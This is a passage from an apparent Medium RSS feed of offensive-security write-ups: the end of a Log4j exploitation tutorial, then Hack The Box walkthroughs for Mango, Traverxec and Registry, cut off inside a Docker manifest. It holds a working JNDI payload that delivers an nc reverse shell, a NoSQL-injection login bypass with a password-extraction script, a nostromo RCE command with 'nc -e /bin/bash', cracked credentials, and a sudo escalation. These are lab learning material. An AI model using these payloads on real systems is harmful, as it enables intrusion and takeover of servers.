which our vulnerable app or server (spring boot) is running whose IP and port is 172.17.0.1:8080 and second part of terminal is having our original shell and with that shell we have sent curl request on vulnerable server IP and Port.</p><p>Image is showing that vulnerable application is logging user request and our curl request was also logged there as warning that says that server require X-api-version header, Lets send a request with X-api-Version and the value of this header will get logged, A normal user will send a normal string or value but as an attacker at first we will send a normal string and then java lookup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6B5pVU5YiOwSILKmegcGOg.png" /></figure><p>We have sent two request with curl with X-api-Version header so in the first request normal string got logged which is “hidden22” and in the second request lookup request is being made, So whatever i wrote there in request was not logged as it is but the java version got logged. In this request we have made java lookup request for version but for further exploitation we are going to use JNDI lookup and setting up our LDAP server for that only.</p><p>Download JNDI exploit it will enable your LDAP and HTTP server also, So you will not need to setup LDAP server manually. JNDI exploit was deleted from github, Download it from below link.</p><pre>Link : <a href="http://download2280.mediafire.com/8xlr3exkimxg/dm0qgwujkwcy585/JNDIExploit.v1.2.zip">http://download2280.mediafire.com/8xlr3exkimxg/dm0qgwujkwcy585/JNDIExploit.v1.2.zip</a></pre><pre>Commands to Unzip and run exploit<br>1. unzip JNDIExploit.v1.2.zip<br>2. cd JNDIExploit<br>3. java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your_private_ip -p 8888</pre><pre>// (ldap server will start on default port 1389 and http server on port 8888) </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*mndTnhAz--BKbCZU9jmpog.png" /></figure><p>Now our LDAP server has been deployed we just need to provide our LDAP server IP with JNDI and reverse shell base64 encoded payload. I am going to use this mkinfo nc payload in base64 encoded form.</p><pre>Payload :<br>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 192.168.29.137 1337 &gt;/tmp/f</pre><pre><br>base64 encoded payload : cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMjkuMTM3IDEzMzcgPi90bXAvZg==</pre><p>Now we have to just put that payload in JNDI lookup that will make query with our LDAP server where our exploit is running and listening and then our payload will be sent to the vulnerable server and It will execute whatever it contains.</p><pre>Command: </pre><pre>curl -H &#39;X-Api-Version: ${jndi:ldap://192.168.29.137:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMjkuMTM3IDEzMzcgPi90bXAvZg}&#39; <a href="http://172.17.0.1:8080/">http://172.17.0.1:8080</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8kzQT1pOM3pSDHayHaCWTQ.png" /></figure><p>Exploited… As it is visible in the above image that we have got reverse shell of vulnerable server. This how we can test Log4j vulnerability, There are some automated scanners also that you can use to test log4j vulnerability such as log4j-scan available on github.</p><h4>Mitigation:</h4><ol><li>Log4j library provides JNDI Lookup feature by default, So disable JNDI Lookup or upgrade to Latest Version 2.16.0.</li><li>Remove JNDI Lookup class from classPath.</li><li>Block Exploits using WAF filter and egress filters.</li><li>Disable Remote Codebases.</li></ol><p>Thank You…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9a9c0238267" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mango — HTB — hardeepsinghsandhu537]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/mango-htb-hardeepsinghsandhu537-4f49e329662d?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f49e329662d</guid>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Sun, 19 Apr 2020 09:04:17 GMT</pubDate>
            <atom:updated>2020-04-19T09:04:17.204Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*fHX3fYDN5C0iB0kaTFsNeg.png" /></figure><p>Level — Medium</p><p>Base Points — 30</p><p>IP — 10.10.10.162</p><p>Nmap Scan:</p><pre># Nmap 7.80 scan initiated Sun Nov 17 10:41:08 2019 as: nmap -v -sV -p80,22,443 -Pn -oN nmap 10.10.10.162<br>Nmap scan report for 10.10.10.162<br>Host is up (0.17s latency).</pre><pre>PORT    STATE SERVICE  VERSION<br>22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))<br>443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Sun Nov 17 10:41:26 2019 -- 1 IP address (1 host up) scanned in 18.24 seconds</pre><p>We have 3 ports there and when i was enumerating port 80, i found that site is redirecting us to https. lets run dirsearch and nikto and also check certificate error if it has any domain for accessing website.</p><p>On port 80, i got Mango search engine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*7SpADgtOwRIymTBximBgGA.png" /></figure><p>Certificate is showing a domain name, let’s add this domain to our host file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*dGaFL1e0joSvXAciQgmqfA.png" /></figure><pre>vim /etc/hosts<br>10.10.10.162 staging-order.mango.htb<br>:wq!</pre><p>Visiting staging-order.mango.htb login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J71bI8RYejrnJAEkESaNGw.png" /></figure><p>When i was try to root this box, i was thinking that here i can try sql injection but after some attempts of some sql queries got nothing. Then suddenly a hint came into my mind while reading forum is that mango word is relatable to mongodb which is a database and it uses nosql.</p><p>While searching for nosql queries i found a github page which i mentioned below, it has some usefull nosql queries for mongodb.</p><pre><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection</a></pre><p>Here you can get basic authentication bypass queries and a lot more stuff.</p><p>We will use this query <strong>username[$ne]=toto&amp;password[$ne]=toto </strong>to bypass login page.</p><p>$ne = not equal</p><p>Now open burpsuite and do intercept on.</p><p>Change this query username=user+&amp;password=pass&amp;login=login to <strong>username[$ne]=toto&amp;password[$ne]=toto</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*e2_dKWIn-_b4KZv5bW6V-w.png" /></figure><p>After this query we got redirected to /home.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*JgvO9DYueaevDC_A9x7Eaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*EnSVKpypkkIdVFDGa6g2Sw.png" /></figure><p>Now we have successfully bypassed login lage but as you can its a simple page, we can not do anything here, but can extract users password from nosql database. we can guess that it has a user admin and mango, so we would try attack on this usernames.</p><p>On that github repo, you would also find regex for password there. it means we can guess password with regex by analyzing response. so in this case if you are right then you will be redirected.</p><p>For this i made a python script which would try every character,number and special character and if the password character is correct and got redirection then print that character.</p><p>At first we will try admin and then mango.</p><pre>import requests<br>import sys<br>import string</pre><pre>for cj in string.digits + string.ascii_letters + &quot;!@#$%^&amp;*()_{}&quot; :<br> flag = &quot;^&quot;<br> url = &#39;<a href="http://staging-order.mango.htb&/#39;">http://staging-order.mango.htb&#39;</a></pre><pre>restart = True</pre><pre>while restart:<br>  restart = False</pre><pre>for i in string.digits + string.ascii_letters + &quot;~&gt;][&lt;&gt;!@#%^()<a href="http://twitter.com/_">@_</a>{}&quot;:<br>   payload = flag + i<br>   d = {<br>     &#39;username&#39;: &#39;admin&#39;,<br>     &#39;password[$regex]&#39;: payload + &quot;.*&quot;<br>   }<br>   r = requests.post(url, data = d, allow_redirects = False)<br>   if (r.status_code == 302):<br>    print(payload)<br>    restart = True<br>    flag = payload</pre><p>we obtained the admin and mango credentials by automated script.</p><p>admin = t9KcS3&gt;!0B#2</p><p>mango = h3mXK8RhU~f{]f5H</p><p>And we got ssh connection with mango creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*cNGXWFxIrQs4rN-bAuKMLw.png" /></figure><p>It has a another user admin and we have admin password, we can su to admin and you will get user.txt here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*RLVE-gdsWJwbq7QTVms-UQ.png" /></figure><p>And for root i got a suid binary with automatic scripts LinEnum.sh</p><pre>/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs</pre><p>When googling this I find gtfobins, where it explains a vulnerability to read and write files with jjs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*sraEsVvoI8_3Oe_dnxDBrQ.png" /></figure><p>We got Root.txt and you can follow file write option from gtfobins. you can root shell by putting ssh key.</p><p>ROOTED……….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f49e329662d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Traverxec — HTB — hardeepsinghsandhu537]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/traverxec-htb-hardeepsinghsandhu537-d9f406b37a81?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9f406b37a81</guid>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Tue, 14 Apr 2020 18:51:33 GMT</pubDate>
            <atom:updated>2020-04-14T18:51:33.065Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*poDBbsPnqK0T681pX6qGPQ.png" /></figure><p>Nmap Scan:</p><pre># Nmap 7.80 scan initiated Sun Nov 17 05:36:12 2019 as: nmap -v -sV -Pn -oN nmap -p 80,22 10.10.10.165<br>Nmap scan report for 10.10.10.165<br>Host is up (0.19s latency).</pre><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)<br>80/tcp open  http    nostromo 1.9.6<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Sun Nov 17 05:36:22 2019 -- 1 IP address (1 host up) scanned in 10.16 seconds</pre><p>We have 2 ports and on port 80 nostromo web server is running. We have version of web server so we can search about exploit for its version and a simple web page is running on port 80 which is nothing.</p><p>After a while of searching on google, i found a exploit in php which is trying RCE on web server.</p><pre><a href="https://www.exploitkita.org/2019/11/nostromo-196-remote-code-execution.html?m=1">https://www.exploitkita.org/2019/11/nostromo-196-remote-code-execution.html?m=1</a></pre><p>Download the exploit and run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1CrVspWhm-YhIFtzoLLkew.png" /></figure><p>As you can see in the above image that we got shell, you have to just start your nc listener on other terminal and run the exploit.</p><pre>php exploit.php 10.10.10.165:80 &quot;nc -e /bin/bash 10.10.*.* 80&quot;</pre><p>Now i get a user david in /home dir and we can go through the dir but can’t able to run ls and other commands. so lets move for other interesting stuff.</p><p>I found a file /var/nostromo/conf inside it, there was a file “.htapasswd” which contains a hash md5-crypt, i cracked that hash and got nothing it was just a rabbit hole. so i moved to another file is nhttpd.conf and i got something interesting in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*BjzHeWrq10Uu-JFWSe7IMg.png" /></figure><p>You can see in the last line, its showing public dir public_www, so we should try to see the content of this directory. I ran ls -la /home/david/public_www and then it show me some files then i visited to another directory and inside that dir, i got .tbz backup file containing ssh keys. but i couldn’t extract backup at current location, so i tried to copy backup into /tmp dir and then i was successfully extracted.</p><pre>cd protected-file-area<br>cp backup-ssh-identity-files.tgz /tmp<br>tar -zxvf backup-ssh-identity-files.tgz<br>(extracted)</pre><pre>cd /tmp/home/david/.ssh/id_rsa</pre><p>copy this id_rsa into your localhost and then use it for taking ssh connection.</p><p>command:</p><pre>ssh -i id_rsa david@10.10.10.165</pre><p>But after the execution of command you will find that ssh is asking for passphrase which we dont have so we have to crack id_rsa password by ssh2john tool.</p><p>This will crack id_rsa password from id_rsa, so run the below commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WPTTTQt8zor3F5ibwrWjmA.png" /></figure><p>we got the passphrase <strong>hunter </strong>now we can take ssh of david with id_rsa bcoz we have passphrase….. :)</p><pre>ssh -i id_rsa david@10.10.10.165<br>Enter passphrase for key &#39;id_rsa&#39;: hunter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*OBGjNITyovanZFHiWZPQzg.png" /></figure><p>After enumerating a while i got a directory /bin in home dir of “david” where a server-stats.sh get found, which is viewing logs by journctl command using sudo rights and we can’t run any command directly with sudo. So copy that whole command and add /bin/bash using ‘ ; ’this operator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*QLLQhw0afs3t77cp0K6Yow.png" /></figure><p>Modified command:</p><pre>/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service; /bin/bash | /usr/bin/cat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*aGTfroCAigP1OpAf32CPuQ.png" /></figure><p>You have to just enter /bin/bash when the commands gets you in interactive mode.</p><p>Rooooooted!!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9f406b37a81" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Registry — HTB — hardeepsinghsandhu537]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/registry-htb-hardeepsinghsandhu537-cadca87d8a47?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cadca87d8a47</guid>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Sat, 04 Apr 2020 16:13:01 GMT</pubDate>
            <atom:updated>2020-04-04T16:13:01.550Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*yWcYct8jPY8hZ9akliJAhg.png" /></figure><p>MachineIP: 10.10.10.159</p><p>Level: Hard</p><p>Nmap Scan :</p><pre># Nmap 7.80 scan initiated Wed Nov 20 07:13:52 2019 as: nmap -v -sV -p22,80,443 -Pn -A -oN nmap 10.10.10.159<br>adjust_timeouts2: packet supposedly had rtt of -143745 microseconds.  Ignoring time.<br>adjust_timeouts2: packet supposedly had rtt of -143745 microseconds.  Ignoring time.<br>Nmap scan report for 10.10.10.159<br>Host is up (0.15s latency).</pre><pre>PORT    STATE SERVICE  VERSION<br>22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)<br>|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)<br>|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)<br>80/tcp  open  http     nginx 1.14.0 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: GET HEAD<br>|_http-server-header: nginx/1.14.0 (Ubuntu)<br>|_http-title: Welcome to nginx!<br>443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: GET HEAD<br>|_http-server-header: nginx/1.14.0 (Ubuntu)<br>|_http-title: Welcome to nginx!<br>| ssl-cert: Subject: commonName=docker.registry.htb<br>| Issuer: commonName=vRegistry<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2019-05-06T21:14:35<br>| Not valid after:  2029-05-03T21:14:35<br>| MD5:   0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9<br>|_SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.18 (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Uptime guess: 46.416 days (since Fri Oct  4 21:15:34 2019)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=258 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>TRACEROUTE (using port 22/tcp)<br>HOP RTT       ADDRESS<br>1   161.76 ms 10.10.14.1<br>2   161.85 ms 10.10.10.159</pre><pre>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Wed Nov 20 07:14:22 2019 -- 1 IP address (1 host up) scanned in 30.36 seconds</pre><p>It has 3 ports and when i visited port 80, i was redirected to https. Lets check certificate error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*KU6iptCCizX1DRTFworwDg.png" /></figure><p>Here we got a domain docker.registry.htb, edit /etc/hosts file and put machine ip and domain like below.</p><pre>vim /etc/hosts<br>10.10.10.159 docker.registry.htb<br>:wq!</pre><p>When i ran nikto on that domain, i got registry version.</p><pre>root@kali:~/htb/registry# nikto -h docker.registry.htb <br>- Nikto v2.1.6<br>---------------------------------------------------------------------------<br>+ Target IP:          10.10.10.159<br>+ Target Hostname:    docker.registry.htb<br>+ Target Port:        80<br>+ Start Time:         2019-11-30 12:11:11 (GMT0)<br>---------------------------------------------------------------------------<br>+ Server: nginx/1.14.0 (Ubuntu)<br>+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS<br>+ Uncommon header &#39;docker-distribution-api-version&#39; found, with contents: registry/2.0</pre><p>you can see the version in the last line.</p><p>After researching a while i got a blog on hacking docker registry.</p><pre><a href="https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/">https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/</a></pre><p>Just follow this blog and after that you will get user flag easily.</p><p>The first step to perform is to verify which version of the API is supported. Sending a GET request to /v1 and /v2 will confirm you the version of Registry API is being used, as shown in image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*fVTNgiOFTXnjKMfTIFT0Lw.png" /></figure><p>We got response by /v2 api.</p><p>Once the API version is confirmed, we can find the list of repos in the registry using /_catalog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*AtTgdbvnW-T4cKzYwPQ0fg.png" /></figure><p>Repo — bolt-image.</p><p>Let’s explore the <strong>bolt-image </strong>and find out the tags listed for this repo using the /REPO_NAME/tags/list endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*6FeIdPWGzs0mKLslxkq0Sg.png" /></figure><p>The tags are listed, as you can see in above image.</p><p>tag — latest</p><p>let’s download the manifest file for the <strong>latest</strong> tag using the /manifests/latest endpoint.</p><pre><a href="https://docker.registry.htb/v2/bolt-image/manifests/latest">https://docker.registry.htb/v2/bolt-image/manifests/latest</a></pre><p>when you open this url and a latest name file will appear for download, so download that file and open it in your terminal</p><pre>root@kali:~/htb/registry# cat latest <br>{<br>   &quot;schemaVersion&quot;: 1,<br>   &quot;name&quot;: &quot;bolt-image&quot;,<br>   &quot;tag&quot;: &quot;latest&quot;,<br>   &quot;architecture&quot;: &quot;amd64&quot;,<br>   &quot;fsLayers&quot;: [<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797&quot;<br>      },<br>      {<br>         &quot;blobSum&quot;: &quot;sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff&quot;<br>      }<br>   ],<br>   &quot;history&quot;: [<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;architecture\&quot;:\&quot;amd64\&quot;,\&quot;config\&quot;:{\&quot;Hostname\&quot;:\&quot;e2e880122289\&quot;,\&quot;Domainname\&quot;:\&quot;\&quot;,\&quot;User\&quot;:\&quot;\&quot;,\&quot;AttachStdin\&quot;:true,\&quot;AttachStdout\&quot;:true,\&quot;AttachStderr\&quot;:true,\&quot;Tty\&quot;:true,\&quot;OpenStdin\&quot;:true,\&quot;StdinOnce\&quot;:true,\&quot;Env\&quot;:[\&quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\&quot;],\&quot;Cmd\&quot;:[\&quot;bash\&quot;],\&quot;Image\&quot;:\&quot;docker.registry.htb/bolt-image\&quot;,\&quot;Volumes\&quot;:null,\&quot;WorkingDir\&quot;:\&quot;\&quot;,\&quot;Entrypoint\&quot;:null,\&quot;OnBuild\&quot;:null,\&quot;Labels\&quot;:{}},\&quot;container\&quot;:\&quot;e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\&quot;,\&quot;container_config\&quot;:{\&quot;Hostname\&quot;:\&quot;e2e880122289\&quot;,\&quot;Domainname\&quot;:\&quot;\&quot;,\&quot;User\&quot;:\&quot;\&quot;,\&quot;AttachStdin\&quot;:true,\&quot;AttachStdout\&quot;:true,\&quot;AttachStderr\&quot;:true,\&quot;Tty\&quot;:true,\&quot;OpenStdin\&quot;:true,\&quot;StdinOnce\&quot;:true,\&quot;Env\&quot;:[\&quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\&quot;],\&quot;Cmd\&quot;:[\&quot;bash\&quot;],\&quot;Image\&quot;:\&quot;docker.registry.htb/bolt-image\&quot;,\&quot;Volumes\&quot;:null,\&quot;WorkingDir\&quot;:\&quot;\&quot;,\&quot;Entrypoint\&quot;:null,\&quot;OnBuild\&quot;:null,\&quot;Labels\&quot;:{}},\&quot;created\&quot;:\&quot;2019-05-25T15:18:56.9530238Z\&quot;,\&quot;docker_version\&quot;:\&quot;18.09.2\&quot;,\&quot;id\&quot;:\&quot;f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\&quot;,\&quot;os\&quot;:\&quot;linux\&quot;,\&quot;parent\&quot;:\&quot;9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\&quot;}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\&quot;,\&quot;parent\&quot;:\&quot;d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\&quot;,\&quot;created\&quot;:\&quot;2019-05-25T15:13:31.3975799Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;bash\&quot;]}}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\&quot;,\&quot;parent\&quot;:\&quot;489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\&quot;,\&quot;created\&quot;:\&quot;2019-05-25T14:57:27.6745842Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;bash\&quot;]}}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\&quot;,\&quot;parent\&quot;:\&quot;7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\&quot;,\&quot;created\&quot;:\&quot;2019-05-25T14:47:52.6859489Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;bash\&quot;]}}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\&quot;,\&quot;parent\&quot;:\&quot;5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\&quot;,\&quot;created\&quot;:\&quot;2019-05-24T22:51:14.8744838Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;/bin/bash\&quot;]}}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\&quot;,\&quot;parent\&quot;:\&quot;f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\&quot;,\&quot;created\&quot;:\&quot;2019-04-26T22:21:05.100534088Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;/bin/sh -c #(nop)  CMD [\\\&quot;/bin/bash\\\&quot;]\&quot;]},\&quot;throwaway\&quot;:true}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\&quot;,\&quot;parent\&quot;:\&quot;4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\&quot;,\&quot;created\&quot;:\&quot;2019-04-26T22:21:04.936777709Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo &#39;docker&#39; \\u003e /run/systemd/container\&quot;]}}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\&quot;,\&quot;parent\&quot;:\&quot;ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\&quot;,\&quot;created\&quot;:\&quot;2019-04-26T22:21:04.220422684Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;/bin/sh -c rm -rf /var/lib/apt/lists/*\&quot;]}}&quot;<br>      },<br>      {<br>         &quot;v1Compatibility&quot;: &quot;{\&quot;id\&quot;:\&quot;ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\&quot;,\&quot;parent\&quot;:\&quot;f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\&quot;,\&quot;created\&quot;:\&quot;2019-04-26T22:21:03.471632173Z\&quot;,\&quot;container_config\&quot;:{\&quot;Cmd\&quot;:[\&quot;/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo &#39;#!/bin/sh&#39; \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo &#39;exit 101&#39; \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i &#39;s/^exit.*/exit 0/&#39; /sbin/initctl \\t\\t\\u0026\\u0026 echo &#39;force-unsafe-io&#39; \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo &#39;DPkg::Post-Invoke { \\\&quot;rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\&quot;; };&#39; \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo &#39;APT::Update::Post-Invoke { \\\&quot;rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\&quot;; };&#39; \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 